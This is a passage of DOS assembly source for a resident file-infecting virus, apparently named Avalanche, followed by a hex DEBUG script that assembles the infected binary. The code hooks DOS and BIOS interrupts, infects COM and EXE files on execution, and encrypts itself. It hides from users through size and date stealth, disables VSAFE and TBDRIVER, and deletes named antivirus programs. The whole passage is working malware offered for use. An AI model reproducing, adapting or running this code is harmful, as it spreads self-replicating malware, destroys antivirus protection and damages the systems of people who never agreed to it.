; Yes, we are -> exit lab32: mov ah,30h ; Dos-Version ? int DOS_N cmp al,5 jae lab4 jmp restore_com ; exit when < 5.0 lab4: mov ah,04h ; enable virus [Monat] 1994 int 1ah jc lab5 cmp cx,1996h jae lab5 cmp dh,monat jae lab5 jmp restore_com lab5: call killscan ; kill VSAFE/VWATCH mov ah,0eh ; search or SDScan Novell Dos 7.0 mov dl,0adh int DOS_N cmp al,0bah jne initvir jmp restore_com ; Scanner active ==> Exit ;--------------------------------------------------------------------------- dowirt: mov ax,[bp+ds_merk] mov ds,ax ; restore DS/ES mov es,ax cmp [bp+comflag],1 ; Is host a COM file ? je do2 mov ax,es add ax,[bp+cs_merk] ; old codesegment in vector add ax,16 mov word ptr [bp+wirt],ax mov sp,[bp+sp_merk] ; restore stack mov ax,es add ax,cs:[bp+ss_merk] add ax,16 mov ss,ax jmp short do3 do2: mov ax,cs mov cs:[bp+wirt],ax do3: xor ax,ax ; Important ! All Registers have to be ZERO mov bx,ax mov cx,ax mov dx,ax mov si,ax mov di,ax sti jmp dword ptr cs:[bp+ip_merk] ; jump to host ;---- Allocate memory for virus -------------------------------------- initvir: mov ax,[bp+ds_merk] ; free memory mov es,ax ; start segment to ES mov bx,[bp+min_mem] ; amount needed for virus mov ah,4ah ; change memory allocation int DOS_N jae init11 jmp restore_com init11: push cs pop es mov byte ptr [bp+notarn],0 ; enable stealth functions mov byte ptr [bp+virtod],0 ;--- get free block in the TOM ----------------- mov ax,5800h ; get allocation strategy int DOS_N mov [bp+mem_strat],ax ; und store it mov ax,5802h ; get UMB Status int DOS_N ; DOS<5.0 C=1,AX=1 jae init1 jmp restore_com init1: mov [bp+umb_strat],al ; store it mov ax,5801h ; set new strategy mov bx,0000000000000010b ; Last Block, search in TPA only int DOS_N mov ax,5803h ; disable usage of UMB mov bx,0 int DOS_N mov bx,(((virende-start+100) shr 4) +33) ; Virus in Paragr. ; + place to store Trojan mov ah,48h ; allocate RAM for virus int DOS_N jc resetall push ax ; store allocated segment dec ax mov es,ax ; ES to MCB of alloc. memory inc ax mov word ptr es:[0],"Z" mov word ptr es:[1],8 ; make us resident as part of DOS mov ax,3521h ; get old INT 21h int DOS_N mov word ptr [bp+int21alt],bx mov word ptr [bp+int21alt+2],es mov word ptr [bp+OrgDos],bx ; if tracer failed :( mov word ptr [bp+OrgDos+2],es call TunnelIt ; trace the INT 21h vector cmp ax,0ffh ; have we found the vector ? je notun mov word ptr [bp+OrgDos+2],es ; store the new entry mov word ptr [bp+OrgDos],ax notun: mov ax,3513h ; get old BIOS interrupt 13h int DOS_N mov word ptr [bp+int13alt],bx mov word ptr [bp+int13alt+2],es pop es ; get back virus-segment push es mov si,offset start add si,bp mov di,100h mov cx,offset (virende-start) rep movsb ; Copy the virus to TOM mov dx,offset int21 ; hook INT21h to virus handler mov ax,2521h pop ds ; get back virus segment int DOS_N mov dx,offset int13 ; hook BIOS-Interrupt to virus handler mov ax,2513h int DOS_N resetall: push cs pop ds push [bp+ds_merk] ; restore memory allocation pop es mov bx,0ffffh mov ah,4ah int DOS_N mov ah,4ah int DOS_N mov bl,[bp+umb_strat] ; restore old UMB strategy xor bh,bh mov ax,5803h int DOS_N mov bx,[bp+mem_strat] ; Alte Strategie zurck mov ax,5801h int DOS_N ; restore orinal JUMP to host restore_com: cmp [bp+comflag],1 ; is it a COM file ? jne initende mov di,[bp+ip_merk] ; build up traget adress mov si,offset combytes ; restore original bytes to host add si,bp ; only necessary if .com - EXE has a direct mov cx,sprbef ; vector. rep movsb initende: jmp dowirt ; --------- Kill VSAFE and VWATCH and TBDRIVER ------------------- ; you can use this function from the resident part of virus too killscan proc near push es push ax push bx push cx push dx push si push di mov ax,0fa00h ; Vsafe resident ? mov dx,5945h int 16h cmp di,4559h jne ks1 mov ax,0fa02h mov dx,5945h mov bl,0 int 16h ; get old flags to CL and cl,23 ; disable only parts of scanner mov bl,cl ; because the full deinstallation causes mov ax,0fa02h ; warnings mov dx,5945h int 16h ks1: push ds xor ax,ax mov ds,ax les si,ds:[21h*4] ; get INT 21h handler pop ds mov ax,word ptr es:[si] ; get first two instructions of INT 21h cmp ax,05ebh ; Is it that fucking TBDRIVER ? jne ks2 mov word ptr es:[si],9090h ; Bomb it out of memory !!! ; This works because there is a far-jump to DOS directly behind ; the near jump to the scanner ks2: pop di pop si pop dx pop cx pop bx pop ax pop es ret killscan endp ;************************************************************************** ;*** INT 21h Tracer to locate the entry of DOS *** ;*** Setting up some parameters for the tracing routine *** ;************************************************************************** ; INPUT : none ; OUTPUT : Original-DOS-vektor in ES:AX Tunnelit PROC NEAR mov ah, 52h ; get the DIB adresse int DOS_N jc tuend mov ax,es:[bx-2] ; vector to first MCB -> ES:AX mov word ptr [bp+dos_seg],ax ; here is the DOS segment xor ax,ax ; ES=0 mov es,ax les ax, es:[1*4] ; store original INT 1 mov word ptr [bp+oldint1], ax mov word ptr [bp+oldint1+2], es mov cs:[bp+sflag],0 mov word ptr cs:[bp+deltaoff],bp ; set up delta offset cli xor ax,ax ; hook INT 1 to tracer mov es,ax mov bx,offset int1 ; delta Offset! add bx,bp mov word ptr es:[1*4],bx mov es:[1*4+2],cs sti pushf ; enable single step pop ax ; by setting the T-Flag or ah,1 push ax popf mov ah,0bh ; get keyboardstatus to find cli ; the entry pushf call dword ptr cs:[bp+int21alt] pushf ; single step off pop ax ; AX=FF if tracer failed and ax,0feffh push ax popf cli ; restore old Int 1 push ds xor ax,ax mov ds,ax les ax, cs:[bp+oldint1] mov word ptr ds:[1*4], ax mov word ptr ds:[1*4+2], es pop ds sti cmp [bp+sflag],1 ; was tracing successful ? jne nosuccess mov ax,word ptr [bp+oldint21+2] mov es,ax mov ax,word ptr [bp+oldint21] tuend: ret nosuccess: mov ax,0ffh ; nope, we have no entry :( jmp short tuend oldint1 dd ? oldint21 dd ? sflag db 0 dos_seg dw ? Tunnelit ENDP ;************************************************************************** ;*** Single Step interrupt routine *** ;*** Tries to find the original entry of the DOS to fool reesident *** ;*** scanners *** ;************************************************************************** int1 PROC FAR push bp mov bp,sp push ax push si db 0BEh ; mov si, deltaoff deltaoff dw (?) mov ax, [bp+4] ; get segment of return adress cmp ax,cs:[si+dos_seg] ; is it in the DOS segement ? jbe foundit ex_int1:pop si pop ax pop bp iret foundit: ; yes, we've found the entry mov word ptr cs:[si+OldInt21+2],ax ; store segment (bp+4) mov ax,[bp+2] mov word ptr cs:[si+OldInt21],ax ; store offset mov cs:[si+sflag],1 and word ptr [bp+6], 0FEFFh ; Tracing off jmp short ex_int1 INT1 ENDP ;**************************************************************************** ;**** Interrupt 21 Handler **** ;**************************************************************************** ;--- Variables : psp equ 0 ; ununsed PSP for buffer ; --- Interruptvektors --- crbreak dd (?) ; Old Critical-Error-INT int21alt dd (?) ; Old Dos-Interrupt int13alt dd (?) ; Old BIOS-Interrupt OrgDos dd (?) ; Original-DOS-Interrupt ; --- Variables --- nam_off dw (?) ; filename offset nam_seg dw (?) ; filename segment dtaseg dw (?) ; segment of DTA dtaoff dw (?) ; offset of DTA d_datum dw (?) ; file date d_zeit dw (?) ; time of last change d_attrib dw (?) ; old files attributes handle dw (?) ; file handle ret_off dw (?) ; --- Flags --- internal db 0 ; indicates internal usage of routines flag db 0 ; allround flag virtod db 0 ; 1=Virus is disabled notarn db 0 ; 1=Stealth functions disabled comsuff db "*.com",0 ;---------------------------------------------------------------------------- cint proc far ; Critical-Error-INT ; to prevent virus from generating errors sti ; during access on write proteted disks mov al,3 iret cint endp ;---------------------------------------------------------------------------- int21 PROC FAR ; new INT 21 handler IF STEALTH cmp ah,4bh ; Exec-Interrupt ? jne check_stealth ; no, let's check stealth ELSE cmp ah,4bh jne aus2 ENDIF is_exec: cmp al,0f0h ; virus self check je rescheck cmp al,05h ; ignore special exec functions je aus2 cmp al,03h je aus2 mov cs:[internal],0 ; internal usage of INT 21 handler jmp exec ; yeah, it's the exec function rescheck: mov di,itsme ; its me -> return to caller iret aus2: jmp cs:[int21alt] ; jump to original INT 21h ;=== Handler for stealth functions of INT 21h ==================== IF STEALTH check_stealth: cmp cs:[virtod],1 ; Ist Virus disabled ? je aus cmp cs:[notarn],1 ; Is Stealth shield disabled ? je aus cmp ah,4eh ; Find-First (Handle) ? jne chk_hdl jmp ff_hdl chk_hdl: cmp ah,4fh ; Find-Next (Handle) ? jne chk_fcb jmp ff_hdl chk_fcb: cmp ah,11h ; Find-First (FCB) ? je firstnext cmp ah,12h ; Find-Next (FCB) ? je firstnext jmp short holdat ; no, continue check ; ---- date/time fooling --------------------------------------- holdat: cmp ax,5700h ; is someone asking on date/time of afile? jne schieb_zeiger jmp deal_dat schieb_zeiger: ; maybe a movement of file pointer? cmp ah,42h jne read_3f jmp deal_zeiger read_3f: ; a file read function ? cmp ah,3fh jne aus jmp deal_read aus: jmp cs:[int21alt] ; jump to old interrupt ENDIF int21 endp ;------------------------ Handler-Bodies -------------------------------------------------- IF STEALTH ff_hdl proc near ; handle find-first-next (handle) pushf ; call function first call cs:[int21alt] jc ngef ; any files found ? jmp short findfn1 ngef: retf 2 findfn1: call pushall ; save all registers mov ah,2fh ; get DTA adress to ES:BX int DOS_N mov ax,es:[bx+18h] ; get date of file and ax,1111111000000000b ; mask out the month mov cl,9 shr ax,cl cmp ax,90d ; compare with 90 jna findfnende ; year < 90 -> file is clean sub word ptr es:[bx+26],(virende-start) ; shrink filelength sbb word ptr es:[bx+28],0 sub word ptr es:[bx+18h],1100100000000000b ; date=date-100 years findfnende: call popall retf 2 ff_hdl endp ;--------------------------------------------------------------------------- firstnext proc near ; handle the fcb functions pushf ; call function call cs:[int21alt] call pushall cmp al,255 ; any files found ? jne continue jmp short fcbende ; no, then exit continue: mov ah,2fh ; get DTA adress to ES:BX int DOS_N cmp byte ptr es:[bx],255 ; is it a large FCB ? je erwfcb mov si,19h ; date entry (secret DOS) mov di,1dh ; filelength (secret DOS) jmp short normfcb erwfcb: mov si,20h ; date entry (secret DOS) mov di,24h ; filelength normfcb: mov ax,es:[bx+si] ; get file and date stamps and ax,1111111000000000b ; mask out the month mov cl,9 shr ax,cl cmp ax,90d ; compare with 90 jna fcbende ; year < 90 -> file is clean sub word ptr es:[bx+di],(virende-start) ; change date/length sbb word ptr es:[bx+di+2],0 sub word ptr es:[bx+di-7],(virende-start) sbb word ptr es:[bx+di-7+2],0 sub word ptr es:[bx+si],1100100000000000b fcbende: call popall retf 2 firstnext endp ;---------------------------------------------------------------------------- deal_dat proc near pushf call cs:[int21alt] pushf ; don't save DX, it holds the date push ax push cx mov ax,dx and ax,1111111000000000b ; mask out month mov cl,9 shr ax,cl cmp ax,90 ; compare with 90 years jna deal_datende ; year<90 -> file is clean sub dx,1100100000000000b ; subtract 100 years deal_datende: pop cx pop ax popf retf 2 deal_dat endp ;--------------------------------------------------------------------------- ; Don't let the file pointer hit the virus deal_zeiger proc near cmp al,02h ; handle funktion 2 only jne zg_do_function or cx,dx jne zg_do_function call pruefinf ; file infected ? jae zg_do_function mov cx,0ffffh mov dx,-(virende-start) ; subtract virus size pushf call cs:[int21alt] retf 2 ; and exit zg_do_function: jmp cs:[int21alt] deal_zeiger endp ; --------------------------------------------------------------------------- ; funktion deal_read: Filters the virus on file access. The memory image is ; clean. Virus contains the original header bytes at his end. rd_handle dw (?) ; file handle rd_bytes dw (?) ; amount of bytes to read rd_aktpos_lo dw (?) ; actual file pointer position rd_aktpos_hi dw (?) rd_endpos_lo dw (?) rd_endpos_hi dw (?) rd_virpos_lo dw (?) rd_virpos_hi dw (?) rd_es_merk dw (?) rd_ds_merk dw (?) rd_funktion dw (?) rd_error_msg dw (?) rd_puffer_off dw (?) rd_bytes_read dw (?) deal_read proc near cmp bx,5 ; Ist es file handle or a device ? jae dlrd1 jmp do_read2 dlrd1: call pruefinf ; is file infected ? jae do_read2 mov cs:[rd_ds_merk],ds push cs pop ds mov [rd_funktion],ax mov [rd_handle],bx mov [rd_bytes],cx mov [rd_puffer_off],dx mov [rd_es_merk],es jmp dlrd2 ; restore all regs and do the read do_read0: mov cx,cs:[rd_bytes] ; restore old CX ; restore all regs exept for cx and do the read do_read1: mov bx,cs:[rd_handle] mov dx,cs:[rd_puffer_off] mov ax,cs:[rd_es_merk] mov es,ax mov ax,cs:[rd_ds_merk] mov ds,ax mov ax,cs:[rd_funktion] ; don't restore regs and do the read do_read2: jmp cs:[int21alt] ; return to caller with restored regs exept for ax do_ret1: mov cx,cs:[rd_bytes] mov dx,cs:[rd_puffer_off] mov bx,cs:[rd_es_merk] mov es,bx mov bx,cs:[rd_ds_merk] mov ds,bx mov bx,cs:[rd_handle] ;return to caller without restored regs do_ret2: retf 2 dlrd2: mov ax,4201h ; get file pointer position xor cx,cx xor dx,dx pushf call cs:[int21alt] jc do_read0 mov [rd_aktpos_lo],ax ; store it mov [rd_aktpos_hi],dx add ax,[rd_bytes] ; calc endposition of file pointer adc dx,0 mov [rd_endpos_lo],ax mov [rd_endpos_hi],dx mov ax,4202h ; get original filesize xor cx,cx xor dx,dx pushf call cs:[int21alt] sub ax,(virende-start) sbb dx,0 mov [rd_virpos_lo],ax ; store the original size mov [rd_virpos_hi],dx mov ax,4200h mov cx,[rd_aktpos_hi] mov dx,[rd_aktpos_lo] pushf call cs:[int21alt] jae rdmk1 jmp do_read0 ; Now we have to make a few decisions where the pointer is and what ; to do that he does not hit the virus body rdmk1: mov ax,[rd_aktpos_lo] ; aktpos < 1dh cmp ax,1dh jb fall_1 ; pointer is in the header -> case 1 mov bx,[rd_aktpos_hi] ; aktpos < virpos ? les cx,dword ptr [rd_virpos_lo] mov dx,es ; DX:CX = aktpos call comp_32bit jb fall_2 ; pointer is in the host -> case 2 jmp fall_3 ; pointer is in the virus -> case 3 ; more decisions........ fall_1: ;--- pointer is in the header ---- les ax,dword ptr [rd_endpos_lo]; Endpos in header(endpos<1dh) ? mov bx,es ; BX:AX = Endpos xor dx,dx mov cx,1dh call comp_32bit ; caller is going to.... jb fall_11 ; read header only les cx,dword ptr [rd_virpos_lo] mov dx,es ; DX:CX = Virpos call comp_32bit jb fall_12 ; read header-host jmp fall_13 ; read header-host-virus fall_2: ; -- pointer is in the host ---- les ax,dword ptr [rd_endpos_lo] ; Endpos < Virpos ? mov bx,es ; BX:AX = end_pos les cx,dword ptr [rd_virpos_lo] mov dx,es call comp_32bit jb hilf1 ; end position is in the host jmp fall_22 ; endposition is in the virus hilf1: jmp fall_21 fall_3: ; --- pointer is in the virus ---- mov ax,0 ; return with zero bytes to caller clc jmp do_ret1 ; --- actions according to th 6 cases above fall_11: ; --- caller is trying to read to header ----- mov dx,1ch ; how many bytes to read ? sub dx,[rd_aktpos_lo] push dx neg dx ; negative offset mov cx,0ffffh mov al,02h call set_pos ; set pointer to corresponding byte ; at the end of the virus where the ; original bytes are stored mov dx,[rd_puffer_off] ; read the original bytes from there mov cx,[rd_bytes] mov bx,[rd_handle] mov ah,3fh push [rd_ds_merk] ; set DS to readbuffer pop ds pushf call cs:[int21alt] push cs pop ds mov cx,[rd_endpos_hi] mov dx,[rd_endpos_lo] mov al,0 call set_pos ; correct the pointer position jmp do_ret1 fall_12: ; --- caller is trying to read header+host --- mov cx,[rd_bytes] cross: mov bx,[rd_handle] ; call read function mov dx,[rd_puffer_off] push [rd_ds_merk] pop ds mov ah,3fh pushf call cs:[int21alt] jae f121 jmp do_ret1 f121: push cs ; DS=CS pop ds mov [rd_bytes_read],ax ; store readed bytes mov dx,1ch ; how many bytes from the header should sub dx,[rd_aktpos_lo] ; have been read ? push dx neg dx ; negative offset mov cx,0ffffh mov al,02h call set_pos ; set pointer to correcpondig bytes jae fall_12h1 ; behind the virus pop cx ; restore stack jmp reset_point ; restore file point and exit fall_12h1: pop cx ; cx=ax (numer of bytes to read) push [rd_ds_merk] pop ax ; get buffer segment mov dx,[rd_puffer_off] ; increase memory pointer add dx,[rd_aktpos_lo] adc ax,0 ; take care of the carry flag mov ds,ax mov bx,cs:[rd_handle] mov ah,3fh pushf call cs:[int21alt] ; read original header jae fall_12h2 jmp reset_point fall_12h2: push cs pop ds mov cx,[rd_aktpos_hi] ; set pointer to new position mov dx,[rd_aktpos_lo] add dx,[rd_bytes_read] adc cx,0 xor al,al call set_pos mov ax,[rd_bytes_read] jmp do_ret1 fall_13: ; --- caller is trying to read header+host+virus mov ax,[rd_virpos_lo] ; subtract virus bytes sub ax,[rd_aktpos_lo] mov cx,ax jmp cross ; restore original cx fall_21: ; --- caller is trying to read the host jmp do_read0 ; no action necessary fall_22: ; --- caller is trying to read host+virus mov cx,[rd_virpos_lo] ; subtract virus bytes sub cx,[rd_aktpos_lo] push cx mov bx,[rd_handle] ; do the read function mov dx,[rd_puffer_off] mov ah,3fh push [rd_ds_merk] pop ds pushf call cs:[int21alt] pop cx jmp do_ret2 ; Compare two 32bit numbers ; INPUT no 1: BX:AX ; no 2: DX:CX ; Ausgabe: ; no 1=no 2 : ZF=1 ; no 1>no 2 : CF=0,ZF=0 ; no 1 no 2 jb comp_16end ; no 1 < no 2 cmp ax,cx ; HI-Words eqaul -> compare low-words ja comp_16end ; no 1 > no 2 jb comp_16end ; no 2 < no 2 ; else no 1 = no 2 comp_16end: ret ; restores the original file pointer position and leaves the routine ; with error 'read 0 bytes' reset_point: mov dx,cs:[rd_aktpos_lo] mov cx,cs:[rd_aktpos_hi] xor al,al call set_pos xor ax,ax clc jmp do_ret1 ; Routine to change pointer position ; INPUT : al=offset-code ; cx:dx = new position set_pos: push ax push bx push dx mov ah,42h mov bx,cs:[rd_handle] pushf call cs:[int21alt] pop dx pop bx pop ax ret deal_read endp ENDIF ;=========================================================================== INT13 PROC FAR ; INT 13h Handler orgint: jmp cs:[int13alt] INT13 ENDP ; ************************************************************************* ; *** new function 4ch of int 21 *** ; ************************************************************************* exec proc near ; handle an exec call ; DS:DX pointer to filename call pushall mov cs:[internal],0 ; indicates call by foreign program mov cs:[notarn],0 ; stealth on call killscan ; kill scanners jmp short exe0 exec1: call pushall ; entry for internal usage mov cs:[internal],1 ; DS:DX pointer to filename exe0: mov cs:[nam_off],dx ; store filename offset mov cs:[nam_seg],ds ; and segment mov cs:[flag],0 ; reset infection flag push ds push dx call discrit ; disable error handler exe01: pop dx pop ds mov ax,4300h ; get file attributes int DOS_N jae exe1 jmp exeaus2 ; exit on error exe1: mov cs:[d_attrib],cx ; store attributes test cx,100b ; is it a system file ? je exe2 jmp exeaus2 ; yes? do not infect it exe2: mov ax,4301h ; disable read-only attributes and cx,1111111111111110b pushf call cs:[int21alt] jae exe3 jmp exeaus exe3: call fuck_scanner ; fuck scanner mov ax,3d00h ; open file with read-only pushf call cs:[int21alt] ; ds:dx filename jae exe4 ; access denied -> exit jmp exeaus exe4: mov bx,ax ; store handle in bx push cs ; DS=CS pop ds mov [handle],bx push bx mov ax,1220h ; get the sft table int 2fh mov al,es:[di] ; necessary because scanners locate mov bl,al ; the TridenT Mirror virus in memory mov ax,1216h int 2fh pop bx jae exe41 jmp fehler exe41: mov word ptr es:[di+2],2 ; set file to read/write access call pruefinf ; is file infected ? jae exe5 jmp fehler exe5: mov dx,psp ; read the original header to psp mov cx,1ch mov ah,3fh int DOS_N jc fehler mov si,dx ; copy original header behind virus mov cx,1ch ; for later memory stealth mov di,offset orig_exehead push cs pop es rep movsb mov ax,4202h ; get the filesize by setting the xor cx,cx ; pointer to end of file xor dx,dx pushf call cs:[int21alt] jae exe6 jmp short fehler ; exit on error exe6: mov [org_filelng_lo],ax ; store lo-word o file length mov [org_filelng_hi],dx ; hi-word also exe8: cmp word ptr cs:[psp],5a4dh ; is it an exe file or a .com ? jne exe9 exe80: call infektexe ; infect .exe jmp short fehler ; exit on error exe9: cmp [org_filelng_lo],62000 ; .com > 62000 ? -> exit ja fehler call infektcom ; infect com file ;--------------------------------------------------------------- fehler: call reset_status ; reset file attributes mov ah,3eh ; close file pushf call cs:[OrgDos] exeaus: call reset_attrib exeaus2: call encrit ; enable error handler exeaus3: cmp cs:[internal],1 ; internal use ? je rtocaller call popall jmp cs:[int21alt] ; execute program rtocaller: mov cs:[internal],0 call popall ret ; back to caller (virus) exec ENDP ;--------------------------------------------------------------------------- reset_status PROC NEAR ; reset original file and date stamps ; [Flag]=1 == > increase date by 100 years ; file has to be openend mov ax,5701h ; restore date/time mov bx,[handle] mov cx,[d_zeit] mov dx,[d_datum] cmp [flag],1 ; has infection took place ? jne fe1 add dx,1100100000000000b ; add 100 years fe1: pushf call cs:[OrgDos] ret reset_status ENDP ;--------------------------------------------------------------------------- reset_attrib PROC NEAR ; restore original file attibutes mov cx,[d_attrib] mov ax,4301h mov dx,[nam_off] mov bx,[nam_seg] ; DS:DX pointer to filename push bx pop ds pushf call cs:[OrgDos] ret reset_attrib ENDP ;--------------------------------------------------------------------------- infektcom proc near ; infect com file IF COMPERMIS mov ax, word ptr cs:[psp+2] ; is it a device driver ? cmp ah,0ffh je infektende ; exit if so. cmp al,0ffh je infektende ;--- calc new entry ---------------------------- mov bx,[org_filelng_lo] sub bx,3h mov word ptr [com_vek+1],bx ;--- write new entry ------------------------- mov ax,4200h ; set file pointer to first byte mov bx,cs:[handle] xor dx,dx xor cx,cx pushf call cs:[OrgDos] jc infektende mov ah,40h ; write new entry mov cx,3 ; 3 bytes mov dx,offset com_vek pushf call cs:[OrgDos] jc infektende mov ax,4202h ; set pointer to end of file xor dx,dx xor cx,cx pushf call cs:[OrgDos] jc infektende mov [ip_merk],100h ; store IP mov [comflag],1 ; flag indicates COM file mov ax,word ptr cs:[psp] ; store original bytes mov word ptr [combytes],ax mov al,byte ptr cs:[psp+2] mov byte ptr [combytes+2],al mov [min_mem],4096 ; minimum amount of memory for a com file mov ax,[org_filelng_lo] add ax,offset vircode mov word ptr [kenn1+1],ax call kodier mov [flag],1 ; file was successfully infected ENDIF infektende: ret infektcom endp ;---------------------------------------------------------------------------- infektexe proc near ; infect exe file (uff, very difficult) IF EXEPERMIS push cs pop es mov si,offset psp kompr: cmp word ptr [si+segtab],1 ; is it a compressed or selfchecking ja checkwin ; file ? ret ; exit if so. checkwin: cmp byte ptr [si+18h],40h ; is it a new exe header ? jne checkovl ; forget it! ret checkovl: cmp byte ptr [si+ovl_no],0 ; no overlays please ! je checklng ret checklng: mov dx,[org_filelng_hi] ; check for internal overlays mov ax,[org_filelng_lo] call divide inc ax ; add 512 bytes cmp ax,[si+div512] ; compare only hi-byte je go ret go: mov ax,word ptr [si+cs_pos] ; store CS mov [cs_merk],ax mov ax,word ptr [si+ss_pos] ; store SS mov [ss_merk],ax mov ax,word ptr [si+sp_pos] ; store SP mov [sp_merk],ax mov ax,word ptr [si+ip_pos] ; and IP mov [ip_merk],ax mov dx,[org_filelng_hi] ; filesize to DX:AX mov ax,[org_filelng_lo] ; calc new CS and SS mov bx,[si+hdl_pos] ; calc header size in bytes mov cl,4 shl bx,cl sub ax,bx ; subtract header size from filesize sbb dx,0 ; -> DX:AX mov bx,ax ; calc new IP and bx,0000000000001111b ; Lo-nibble is offset of IP mov [si+ip_pos],bx mov cx,4 ; filesize -> pararaphs divide0: sar dx,1 rcr ax,1 loop divide0 ; result in AX mov [si+ss_pos],ax ; set new SS mov [si+cs_pos],ax ; SS=CS mov [min_mem],ax ; set up amount of memory for virus mov word ptr [si+sp_pos],((virende-start)+100h) ; set SP ramok: mov ax,[org_filelng_lo] ; fix filesize int header mov dx,[org_filelng_hi] add ax,(virende-start+512) ; add virus + 512 adc dx,0 call divide mov word ptr [si+mod512],bx mov word ptr [si+div512],ax xor cx,cx ; set file pointer to header mov dx,0 mov bx,[handle] mov ax,4200h int DOS_N jc exeinfende mov ah,40h ; write new values in header mov cx,1ch mov dx,offset psp pushf call cs:[int21alt] jc exeinfende mov ax,4202h ; file pointer to end of file xor dx,dx xor cx,cx int DOS_N jc exeinfende mov [comflag],0 ; host is an exe file mov ax,[si+ip_pos] add ax,(offset vircode -100h) mov word ptr [kenn1+1],ax ; set up new delta offset call kodier ; encrypt virus and write it to host mov [flag],1 ; infection successful ENDIF exeinfende: ret infektexe endp ;--------------------------------------------------------------------------- ; disable critical error handler to avoid write errors on write-protected ; disks discrit proc near call pushall push cs pop ds mov ax,3524h ; get old INT 24h int DOS_N ; mov word ptr [crbreak],bx mov word ptr [crbreak+2],es mov ax,2524h ; set new handler mov dx,offset cint pushf call cs:[OrgDos] call popall ret discrit endp ;--------------------------------------------------------------------------- ; enable critical error handler encrit proc near call pushall mov dx,word ptr cs:[crbreak] ; restore old INT 24h mov ax,word ptr [crbreak+2] mov ds,ax mov ax,2524h int DOS_N call popall ret encrit endp ;--------------------------------------------------------------------------- ; INPUT DX:AX value to divide by 512 ; OUTPUT AX value DIV 512 ; BX value MOD 512 divide proc near mov bx,ax and bx,0000000111111111b ; filesize MOD 512 mov cx,9 ; 32 bit division divide1: clc shr dx,1 rcr ax,1 loop divide1 ret divide endp ;***************************************************************************** ; encyrpt virus and stick it to the end of host * ;***************************************************************************** kodier proc near push cs pop es inc [generation] ; increase generation counter cld mov dx,offset (virende-start) ; virussize mov si,offset start ; start of virus mov ah,byte ptr [org_filelng_lo] xor ah,0aah mov byte ptr [entschl+3],ah ; decryptor value kod0: mov ah,byte ptr [org_filelng_lo] ; key in in ah xor ah,0aah mov di,psp ; set pointer to unused psp xor cx,cx ; reset byte counter kod1: lodsb ; load a word cmp si,offset vircode ; encyrpt it ? jna ncode ; no, it's the virus decryptor cmp si,offset vor_header ; do not encrypt the original header ja ncode xor al,ah ; encrypt word ncode: stosb ; and write it to psp inc cx cmp cx,250 ; is buffer full ? jna kod2 ; yes, then write it to disk jmp short kodaus kod2: cmp cx,dx ; are we ready ? jne kod1 ; no, continue kodaus: sub dx,cx push dx ; write encrypted by to host mov bx,[handle] mov dx,psp ; ds:dx pointer to start of encry.buffer mov ah,40h pushf ; write cx bytes call cs:[int21alt] pop dx jc kodrueck ; exit on error or dx,dx je kodrueck jmp short kod0 dec [generation] cmp [generation],32 jne kodrueck absturz: jmp absturz kodrueck: ret kodier endp ;*************************************************************************** ;*** check if file is infected **** ;*** INPUT : BX=Handle **** ;*** OUTPUT : C=0: file is clean / C=1: file is infected or access denied*** ;*************************************************************************** pruefinf proc near push bx push ax push cx push dx mov ax,5700h ; get time/date stamps pushf call cs:[int21alt] mov cs:[d_datum],dx mov cs:[d_zeit],cx and dx,1111111000000000b ; mask out the month mov cl,9 ; year to low byte shr dx,cl cmp dx,90 ; year <90 file id clean jb nichtinf stc ; set infection flag pruefaus: pop dx pop cx pop ax pop bx ret nichtinf: clc jmp short pruefaus pruefinf endp ;************************************************************************* ; retro function: delete scanners ;************************************************************************* scanner db "F-PR",0 db "TBAV",0 db "SCAN",0 db "MSAV",0 db "CPAV",0 db "TBME",0 db "TBFI",0 db "TBSC",0 db "VIRS",0 db "TBDR",0 db 0 fuck_scanner PROC NEAR IF RETRO call pushall push cs ; ES=CS pop es mov ax,cs:[nam_seg] ; get filename mov ds,ax ; to DS:SI mov si,cs:[nam_off] fd_end: inc si cmp byte ptr ds:[si],0 ; find last char jne fd_end fc2: dec si ; set pointer to filename cmp byte ptr ds:[si-1],"\" jne fc2 mov cx,4 mov di,offset scanner call search ; search for scanner jae fuckend gotcha: mov dx,si mov ah,41h ; delete scanner pushf call cs:[OrgDos] fuckend: call popall ENDIF ret fuck_scanner ENDP ;************************************************************************** ; compare a string with a list of strings ; INPUT: DS:SI string to find ; es:di list ; cx number of bytes to compare ; OUPUT: C=1 if string was found ; DX position of string ;************************************************************************** search PROC NEAR mov ax,cx ; store cx xor dx,dx cld comp: mov cx,ax push si ; store SI (pointer to reference) repe cmpsb ; compare strings pop si jz treffer ; Z=1 -> string found s_str: cmp byte ptr es:[di],0 ; find start of next string in list je str_gef inc di jmp short s_str str_gef: inc di cmp byte ptr es:[di],0 ; end of list ? je failed inc dx jmp short comp treffer: stc ret failed: clc ret search ENDP ;--------------------------------------------------------------------------- pushall proc near pop cs:[ret_off] pushf push ax push bx push cx push dx push bp push si push di push es push ds push cs:[ret_off] ret pushall endp ;---------------------------------------------------------------------------- popall proc near pop cs:[ret_off] pop ds pop es pop di pop si pop bp pop dx pop cx pop bx pop ax popf push cs:[ret_off] ret popall endp vor_header equ this byte orig_exehead db 1ch dup (?) ; position of original exe header virende equ this byte code ends end start ----------------------------------- N avalanch.com E 0100 66 B9 F0 0A 00 00 BB 1D 02 EB 06 EA 2E 80 37 00 E 0110 43 E2 F9 E8 00 00 58 8B E8 81 ED 16 01 EB 01 81 E 0120 EB 58 20 41 56 41 4C 41 4E 43 48 45 2F 47 65 72 E 0130 6D 61 6E 79 20 27 39 34 2E 2E 2E 4D 65 74 61 6C E 0140 20 4A 75 6E 6B 69 65 20 67 72 65 65 74 73 20 4E E 0150 65 75 72 6F 62 61 73 68 65 72 00 00 00 00 00 00 E 0160 FE FF 00 00 00 10 00 01 00 00 C3 00 01 E9 00 00 E 0170 00 00 00 00 00 00 00 01 00 00 FA 8C 9E 5C 01 FC E 0180 0E 1F B8 F0 4B 33 FF CD 21 81 FF 68 73 75 03 E9 E 0190 50 01 B4 30 CD 21 3C 05 73 03 E9 45 01 B4 04 CD E 01A0 1A 72 0E 81 F9 96 19 73 08 80 FE 01 73 03 E9 31 E 01B0 01 E8 46 01 B4 0E B2 AD CD 21 3C BA 75 4A E9 21 E 01C0 01 8B 86 5C 01 8E D8 8E C0 80 BE 77 01 01 74 1F E 01D0 8C C0 03 86 5A 01 05 10 00 89 86 68 01 8B A6 60 E 01E0 01 8C C0 2E 03 86 62 01 05 10 00 8E D0 EB 07 8C E 01F0 C8 2E 89 86 68 01 33 C0 8B D8 8B C8 8B D0 8B F0 E 0200 8B F8 FB 2E FF AE 66 01 8B 86 5C 01 8E C0 8B 9E E 